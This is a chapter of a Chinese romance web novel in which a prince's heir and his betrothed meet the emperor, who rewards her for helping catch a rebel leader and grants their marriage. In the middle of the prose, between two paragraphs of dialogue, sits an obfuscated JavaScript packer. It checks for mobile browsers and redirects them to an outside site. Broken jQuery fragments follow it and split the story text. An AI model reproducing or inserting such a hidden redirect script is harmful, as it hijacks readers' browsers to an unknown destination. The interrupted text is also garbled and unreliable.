当她在王府侍女服侍下穿好新衣——特意挑了身白为底蓝为缀的礼服。迈出门槛，在外等候多时的大尾巴狼立刻站起，眼睛都微微瞠大，摇着尾巴迎上前。


    游万洲四指撩起她衣裙上的缀带，视线在她面庞未曾挪开半分，“这身真适合你。”


    “是吗？”惠芷玉被他这呆呆的模样逗乐，努力忍住自己的笑意，指尖点在他肩头，“跟你衬不衬？”


    “那当然，只要这么出去，明眼人都能瞧出我们是什么关系。”游万洲扣住她的五指，试探：“要不，以后都这么穿？”


    “那还是算了，漂亮是漂亮，但好重，你是怎么穿着这么重的一身还能随便动武的？”惠芷玉低头提了一下自己的裙摆，上面缀满浅色珠翠。唉，沉重的美。


    游万洲沉吟片刻，凑近她耳畔，用极其微小的声音提议：“不便行动的话，那要不以后房中，穿给我看？”


    哟呵，真是出息了。惠芷玉惊讶地瞅了他一眼，憋着笑点头，也小声回敬：“房中应该有更有趣的衣服穿吧。”


    “咳，那就都穿。”游万洲试图定音，惠芷玉不依不饶：“我穿了，那你呢？”


    他摸了摸鼻头，羞赧道：“你想看什么，我也穿给你看。”


    双赢的秘密协商就此达成，可惜虽然大饼香，但某位世子又开始不成亲不洞房的执念，惠芷玉只好暂且忍下来。


    这回多带了两位侍女，毕竟惠芷玉的裙摆不能拖行在皇宫的尘地，以免失仪。跟赵汀兰提前交代一声入宫面见陛下，在她的千叮咛万嘱咐中，二人整装出发，在马车上又开始商讨过待会面见皇帝的细项。


    提交门籍入宫，宫中只能步行，侍女小心拖着惠芷玉的裙摆，游万洲携着她的手，跟在引路太监身后，一行人踏过宫中规整平新的砖石路，路过森严巍峨的红墙，最终穿过硕大门廊，行至养心殿前。


    引路太监前去传话，道是信王世子与铁矿石主理人惠芷玉同来拜见。守门太监拂尘一挥，扬声：“世子殿下、惠小姐，陛下早已有口谕，请进。”


    侍女放下小姐的裙摆候在外，游万洲与惠芷玉携手并肩，进入养心殿。身后大门无声闭合，殿内华光帝放下奏折，声音远远传来：“来了？走近些让我好好看看。”


    要好好看看的是谁不言而喻。惠芷玉心跳如鼓，紧张的手心发汗。游万洲稳重应了声，牵引她上前。


    几步走过去，心情也慢慢平复，依照书中的礼仪走至华光帝前五步，停身与他一同行礼：“民女惠芷玉，陛下万岁万岁万万岁。”


    “倒是个美人，听说你与朕这侄儿自幼相识，觉得他人如何啊？”华光帝没让起身，惠芷玉便低着头回应，语气不卑不亢：“世子殿下是小女此生挚爱。”


    “嗯，这话朕爱听。都坐吧。”


    游万洲将奏折呈递至皇帝案桌，两人坐入椅面，惠芷玉抬头看向华光帝。皇帝正在观看奏折，他的面貌与街上所见的叔伯无异，但服饰与气度区分了什么叫天子与百姓。


    不过还好，如他们先前所料，日理万机的皇帝果然没对她有多大兴趣，简单看过奏折后，视线已经转向游万洲，问：“你来给朕说说，是如何捉到那逆贼的？”


    “是，首先要从惠芷玉的境遇说起。”游万洲抬掌指向身旁的惠芷玉，引导皇帝目光看来，他又开口道：“逆贼蒋献劫持了她的母亲，并以此相迫也带走了惠芷玉。但她临危不惧，历经险阻出逃，发现自己在京城西郊的村落，进京与臣侄汇合告知此事，才促成了臣侄围剿西郊村，并抓捕到逆贼软肋来布今日游街之局。”


    华光帝点了点头，看着惠芷玉，表情似乎柔和了些：“之前铁矿洞，也是你封锁阻止了逆贼第一次偷窃，将消息带给万洲的吧，做得不错。”


    “谢陛下夸赞。”惠芷玉谨慎地回话，而后缄默。


    华光帝也不在乎她的沉默，看向游万洲：“继续。”


    “臣侄用他的软肋——他的亲生妹妹蒋飞叶，做了一个局。此局分为两环，其一是若他不吃诱饵，则可以将先前已经抓捕的逆贼们处刑，削弱他的势力，势必令其难以卷土重来。其二是若他来吃诱饵，则通过天罗地网令他无从反抗。在臣侄的设想中，若他真来，只可能选择游行中途或游行终点，于是便在终点的红道刑场先行布设伏击部队，也精心规划了一条便于进行埋伏的游街路线，做好中途的移动伏兵。而最后，蒋献选择在游行中途发起袭击，并被我方拿下。”


    华光帝凝目问：“伤亡几何？”


    “根据初步统计，民众无伤亡，民宅与商铺损失四栋半，对毒部队伤五十二亡十七，囚车精兵伤三十一亡十一，守兵伤九十六亡四十三，弓兵、钩索兵无伤亡。”


    “敌方损失几何？”


    “此次将潜伏京城数年之久的逍遥居连根拔起，共捕逆贼一百七十八人，其中武艺高强者，如吴苹、陈光等人，共计十名；奇技淫巧者，如毒师青翠——原名房雅等人，共计三名。我方绝大部分损失均由这十三人造成。他们先以毒雾伤亡我方大多数人马，再混之强军进行精确的斩首，而蒋献潜藏其中试图救走他的妹妹。但最终，我方大胜。”


    听罢，华光帝呵笑一声：“为了救妹妹，这逆贼之首蒋献也不过如此。果然不足为虑。”


    游万洲也跟着笑了笑，拱手：“大祁在皇伯伯治理下国泰民安，他们本就是无根浮萍，难以成气候。”


    “这次你立了大功，按照先前说好的，朕会将相应的奖赏择日赏赐于你，至于惠芷玉——”华光帝目光慢慢落去，“数次在危难关头扭定大局，此案没有你寸步难行。说吧，你想要什么？”


    这个问题也在他们预料之中。惠芷玉恭谦地行礼，道：“民女求陛下给鸣县惠家赐一道敕书，以保证我家在贸易往来上的安危。”


    “只要这些？”华光帝挥袖道：“准了，朕另外再赏赐你十车布匹，一座石场。”


    “谢陛下！”惠芷玉俯身致谢。


    “嗯，正好你们今日都在场，”华光帝望着他们相携的手，“根据礼制，侄儿，朕赐婚后，你需先在京城定亲下聘，待到一年后再成亲，期间给你们留时间准备彩嫁之物，你们有何意见？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239985|165583||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    游万洲面色不变，但眼睛已经掩不住那股喜悦的流光，“我们想在晥州鸣县行嫁娶之仪，劳烦皇伯伯将此事写明。”


    这也是他们在马车上商讨过的事。彼时游万洲还有些莫名忐忑，问她：“你想在哪里成亲？京城，还是鸣县？”


    “你是世子，难道还能不在京城不成？正好我在京城有居所，娘也在身侧。”惠芷玉疑惑歪头。


    “之前陛下已经说了，鸣县也属于我的封地范围，所以我们在封地内举行婚嫁完全不会落人口舌。所以你是想在京城，还是鸣县？”游万洲解释了一遍，又问。


    “能选的话当然要在鸣县，”惠芷玉听懂了，兴高采烈道，“我家的亲友几乎都在那，娘肯定也更想在鸣县见证我们成亲，而且也能更方便和娘相聚，啊，但是，”说着说着她有些担忧地看向游万洲，“你的好友和亲人，都在京城吧？”


    游万洲抬手拨弄一下她的发簪，笑容明媚：“不用担心我，爹娘本来就参与不了，至于我那几个好友嘛……反正在京城待着也无聊，出来玩一趟不亏，到时候让他们过来参宴就行。我在鸣县待着也更舒适自由些。”


    何其幸运，此生能得如此一人。


    惠芷玉眼中水波流转，盛满他的影子，半晌后她神智回笼，疑惑顿生，连忙问：“那你说的宫宴又是怎么回事？我可是做好了要跟一帮肠子弯弯绕的贵妇人打机锋的准备的。”


    “宫宴会在新年日举行，通常来说，需要所有皇室人员携其妻儿出席，算是一场游家的家宴，平时我们不住京城，但宫宴时总得在场。我可没骗你，机锋还是要打的。”游万洲笑着摇了摇头，而后轻轻搂住她的腰，“嫁给我，就代表你没办法和赵姨度新年，明白吗？”


    惠芷玉抬眼睨他：“除了不能跟娘过年，我还要帮你打理王府内务，跟那些官家太太打交道什么的，对不对？我又不是什么都不懂，早就做好准备了。”


    游万洲埋在她脖颈笑了起来，把她笑得肩窝都热痒，全是他温暖的吐息。惠芷玉有点难耐地推了他一下，“你笑什么。”


    “没什么，我只是突然想到，打理王府内务，还经营惠家，你的生意迟早要开遍天下各地吧。”游万洲笑语晏晏，在她肩窝轻拱。


    “哎？那这算不算官商勾结？总觉得很容易出虫蠹啊，以后我们可得看仔细点了。”


    “好，我来帮你将惠氏染坊名扬天下。”


    从小就是这样，他的话总是能如此恰好地熨帖她的心，这般人儿，她怎么可能不为之倾倒。惠芷玉抬起他的脸，俯身落吻。


    再回到现在，华光帝已经明了他们所求，视线在二人面上转了一圈，道：“好，朕会令钦天监择选良辰吉日，作为你们的定亲、成亲之日。”


    “谢陛下！”二人同时道谢，某种目不能视但显而易见的喜意已经在这养心殿萦绕，华光帝微微阖眸抿一口茶，“侄儿，你身体如今可好？”


    这是在问他身上的毒是否能解，但他并不想供出方林。游万洲想了想，委婉承认：“都好，谢皇伯伯关心。”


    “如此，甚好。”